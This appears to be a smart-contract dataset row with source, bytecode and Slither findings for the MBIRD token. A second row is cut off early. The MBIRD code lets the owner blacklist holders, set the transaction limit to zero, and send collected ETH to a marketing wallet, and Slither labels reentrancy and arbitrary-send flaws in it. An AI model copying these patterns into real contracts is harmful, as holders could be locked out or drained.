address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x5d96ffa2a659c61b1d5676de5090736b8b9389b7 | /**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
// https://t.me/mockingbirdinu
// https://twitter.com/mockingbirdinu
// https://mockingbirdinu.com
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MBIRD is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MOCKING BIRD INU";
string private constant _symbol = "MBIRD";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 10;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 33;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x6DEEDc0802D880AB31D82618c08ceb4a1148715c);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2e10 * 10**9;
uint256 public _maxWalletSize = 2e10 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 15);
require(amountSell >= 0 && amountSell <= 15);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 5);
require(amountRefSell >= 0 && amountRefSell <= 5);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
} | 0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb1461059c578063c5528490146105bc578063dd62ed3e146105dc578063ea1644d514610622578063f2fde38b1461064257600080fd5b80638da5cb5b146105255780638f9a55c01461054357806395d89b41146105595780639e78fb4f1461058757600080fd5b8063790ca413116100dc578063790ca413146104c45780637c519ffb146104da5780637d1db4a5146104ef578063881dce601461050557600080fd5b80636fc3eaec1461045a57806370a082311461046f578063715018a61461048f57806374010ece146104a457600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103da5780634bf2c7c9146103fa5780635d098b381461041a5780636d8aa8f81461043a57600080fd5b80632fd689e314610368578063313ce5671461037e57806333251a0b1461039a57806338eea22d146103ba57600080fd5b806318160ddd116101c157806318160ddd146102ea57806323b872dd1461031057806327c8f8351461033057806328bb665a1461034657600080fd5b806306fdde03146101fe578063095ea7b3146102495780630f3a325f146102795780631694505e146102b257600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152601081526f4d4f434b494e47204249524420494e5560801b60208201525b6040516102409190611f88565b60405180910390f35b34801561025557600080fd5b50610269610264366004611e33565b610662565b6040519015158152602001610240565b34801561028557600080fd5b50610269610294366004611d7f565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102be57600080fd5b506016546102d2906001600160a01b031681565b6040516001600160a01b039091168152602001610240565b3480156102f657600080fd5b50683635c9adc5dea000005b604051908152602001610240565b34801561031c57600080fd5b5061026961032b366004611df2565b610679565b34801561033c57600080fd5b506102d261dead81565b34801561035257600080fd5b50610366610361366004611e5f565b6106e2565b005b34801561037457600080fd5b50610302601a5481565b34801561038a57600080fd5b5060405160098152602001610240565b3480156103a657600080fd5b506103666103b5366004611d7f565b610781565b3480156103c657600080fd5b506103666103d5366004611f66565b6107f0565b3480156103e657600080fd5b506017546102d2906001600160a01b031681565b34801561040657600080fd5b50610366610415366004611f4d565b610841565b34801561042657600080fd5b50610366610435366004611d7f565b610870565b34801561044657600080fd5b50610366610455366004611f2b565b6108ca565b34801561046657600080fd5b50610366610912565b34801561047b57600080fd5b5061030261048a366004611d7f565b61093c565b34801561049b57600080fd5b5061036661095e565b3480156104b057600080fd5b506103666104bf366004611f4d565b6109d2565b3480156104d057600080fd5b50610302600a5481565b3480156104e657600080fd5b50610366610a01565b3480156104fb57600080fd5b5061030260185481565b34801561051157600080fd5b50610366610520366004611f4d565b610a5b565b34801561053157600080fd5b506000546001600160a01b03166102d2565b34801561054f57600080fd5b5061030260195481565b34801561056557600080fd5b50604080518082019091526005815264135092549160da1b6020820152610233565b34801561059357600080fd5b50610366610ad7565b3480156105a857600080fd5b506102696105b7366004611e33565b610cbc565b3480156105c857600080fd5b506103666105d7366004611f66565b610cc9565b3480156105e857600080fd5b506103026105f7366004611db9565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561062e57600080fd5b5061036661063d366004611f4d565b610d1a565b34801561064e57600080fd5b5061036661065d366004611d7f565b610d58565b600061066f338484610e42565b5060015b92915050565b6000610686848484610f66565b6106d884336106d38560405180606001604052806028815260200161218d602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611612565b610e42565b5060019392505050565b6000546001600160a01b031633146107155760405162461bcd60e51b815260040161070c90611fdd565b60405180910390fd5b60005b815181101561077d576001600960008484815181106107395761073961214b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107758161211a565b915050610718565b5050565b6000546001600160a01b031633146107ab5760405162461bcd60e51b815260040161070c90611fdd565b6001600160a01b03811660009081526009602052604090205460ff16156107ed576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b0316331461081a5760405162461bcd60e51b815260040161070c90611fdd565b600582111561082857600080fd5b600581111561083657600080fd5b600b91909155600d55565b6000546001600160a01b0316331461086b5760405162461bcd60e51b815260040161070c90611fdd565b601155565b6015546001600160a01b0316336001600160a01b03161461089057600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108f45760405162461bcd60e51b815260040161070c90611fdd565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461093257600080fd5b476107ed8161164c565b6001600160a01b03811660009081526002602052604081205461067390611686565b6000546001600160a01b031633146109885760405162461bcd60e51b815260040161070c90611fdd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109fc5760405162461bcd60e51b815260040161070c90611fdd565b601855565b6000546001600160a01b03163314610a2b5760405162461bcd60e51b815260040161070c90611fdd565b601754600160a01b900460ff1615610a4257600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a7b57600080fd5b610a843061093c565b8111158015610a935750600081115b610ace5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b604482015260640161070c565b6107ed8161170a565b6000546001600160a01b03163314610b015760405162461bcd60e51b815260040161070c90611fdd565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b6157600080fd5b505afa158015610b75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b999190611d9c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610be157600080fd5b505afa158015610bf5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c199190611d9c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c6157600080fd5b505af1158015610c75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c999190611d9c565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b600061066f338484610f66565b6000546001600160a01b03163314610cf35760405162461bcd60e51b815260040161070c90611fdd565b600f821115610d0157600080fd5b600f811115610d0f57600080fd5b600c91909155600e55565b6000546001600160a01b03163314610d445760405162461bcd60e51b815260040161070c90611fdd565b601954811015610d5357600080fd5b601955565b6000546001600160a01b03163314610d825760405162461bcd60e51b815260040161070c90611fdd565b6001600160a01b038116610de75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161070c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ea45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161070c565b6001600160a01b038216610f055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161070c565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161070c565b6001600160a01b03821661102c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161070c565b6000811161108e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161070c565b6001600160a01b03821660009081526009602052604090205460ff16156110c75760405162461bcd60e51b815260040161070c90612012565b6001600160a01b03831660009081526009602052604090205460ff16156111005760405162461bcd60e51b815260040161070c90612012565b3360009081526009602052604090205460ff16156111305760405162461bcd60e51b815260040161070c90612012565b6000546001600160a01b0384811691161480159061115c57506000546001600160a01b03838116911614155b156114bc57601754600160a01b900460ff166111ba5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c6564210000000000000000604482015260640161070c565b6017546001600160a01b0383811691161480156111e557506016546001600160a01b03848116911614155b15611297576001600160a01b038216301480159061120c57506001600160a01b0383163014155b801561122657506015546001600160a01b03838116911614155b801561124057506015546001600160a01b03848116911614155b15611297576018548111156112975760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161070c565b6017546001600160a01b038381169116148015906112c357506015546001600160a01b03838116911614155b80156112d857506001600160a01b0382163014155b80156112ef57506001600160a01b03821661dead14155b156113b6576018548111156113465760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161070c565b601954816113538461093c565b61135d91906120aa565b106113b65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161070c565b60006113c13061093c565b601a5490915081118080156113e05750601754600160a81b900460ff16155b80156113fa57506017546001600160a01b03868116911614155b801561140f5750601754600160b01b900460ff165b801561143457506001600160a01b03851660009081526006602052604090205460ff16155b801561145957506001600160a01b03841660009081526006602052604090205460ff16155b156114b957601154600090156114945761148960646114836011548661189390919063ffffffff16565b90611912565b905061149481611954565b6114a66114a18285612103565b61170a565b4780156114b6576114b64761164c565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806114fe57506001600160a01b03831660009081526006602052604090205460ff165b8061153057506017546001600160a01b0385811691161480159061153057506017546001600160a01b03848116911614155b1561153d57506000611600565b6017546001600160a01b03858116911614801561156857506016546001600160a01b03848116911614155b156115c3576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a5414156115c3576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b0384811691161480156115ee57506016546001600160a01b03858116911614155b1561160057600d54600f55600e546010555b61160c84848484611961565b50505050565b600081848411156116365760405162461bcd60e51b815260040161070c9190611f88565b5060006116438486612103565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561077d573d6000803e3d6000fd5b60006007548211156116ed5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161070c565b60006116f7611995565b90506117038382611912565b9392505050565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106117525761175261214b565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117a657600080fd5b505afa1580156117ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117de9190611d9c565b816001815181106117f1576117f161214b565b6001600160a01b0392831660209182029290920101526016546118179130911684610e42565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611850908590600090869030904290600401612039565b600060405180830381600087803b15801561186a57600080fd5b505af115801561187e573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826118a257506000610673565b60006118ae83856120e4565b9050826118bb85836120c2565b146117035760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161070c565b600061170383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119b8565b6107ed3061dead83610f66565b8061196e5761196e6119e6565b611979848484611a2b565b8061160c5761160c601254600f55601354601055601454601155565b60008060006119a2611b22565b90925090506119b18282611912565b9250505090565b600081836119d95760405162461bcd60e51b815260040161070c9190611f88565b50600061164384866120c2565b600f541580156119f65750601054155b8015611a025750601154155b15611a0957565b600f805460125560108054601355601180546014556000928390559082905555565b600080600080600080611a3d87611b64565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a6f9087611bc1565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a9e9086611c03565b6001600160a01b038916600090815260026020526040902055611ac081611c62565b611aca8483611cac565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b0f91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611b3e8282611912565b821015611b5b57505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611b818a600f54601054611cd0565b9250925092506000611b91611995565b90506000806000611ba48e878787611d1f565b919e509c509a509598509396509194505050505091939550919395565b600061170383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611612565b600080611c1083856120aa565b9050838110156117035760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161070c565b6000611c6c611995565b90506000611c7a8383611893565b30600090815260026020526040902054909150611c979082611c03565b30600090815260026020526040902055505050565b600754611cb99083611bc1565b600755600854611cc99082611c03565b6008555050565b6000808080611ce460646114838989611893565b90506000611cf760646114838a89611893565b90506000611d0f82611d098b86611bc1565b90611bc1565b9992985090965090945050505050565b6000808080611d2e8886611893565b90506000611d3c8887611893565b90506000611d4a8888611893565b90506000611d5c82611d098686611bc1565b939b939a50919850919650505050505050565b8035611d7a81612177565b919050565b600060208284031215611d9157600080fd5b813561170381612177565b600060208284031215611dae57600080fd5b815161170381612177565b60008060408385031215611dcc57600080fd5b8235611dd781612177565b91506020830135611de781612177565b809150509250929050565b600080600060608486031215611e0757600080fd5b8335611e1281612177565b92506020840135611e2281612177565b929592945050506040919091013590565b60008060408385031215611e4657600080fd5b8235611e5181612177565b946020939093013593505050565b60006020808385031215611e7257600080fd5b823567ffffffffffffffff80821115611e8a57600080fd5b818501915085601f830112611e9e57600080fd5b813581811115611eb057611eb0612161565b8060051b604051601f19603f83011681018181108582111715611ed557611ed5612161565b604052828152858101935084860182860187018a1015611ef457600080fd5b600095505b83861015611f1e57611f0a81611d6f565b855260019590950194938601938601611ef9565b5098975050505050505050565b600060208284031215611f3d57600080fd5b8135801515811461170357600080fd5b600060208284031215611f5f57600080fd5b5035919050565b60008060408385031215611f7957600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611fb557858101830151858201604001528201611f99565b81811115611fc7576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120895784516001600160a01b031683529383019391830191600101612064565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156120bd576120bd612135565b500190565b6000826120df57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156120fe576120fe612135565b500290565b60008282101561211557612115612135565b500390565b600060001982141561212e5761212e612135565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ed57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122035e6e19646327c961f12b5b23a628a66e9e177d668f96435cac97b95d554dffe64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,900 |
0x62d315193d750947746a621805db6099179ef48e | pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
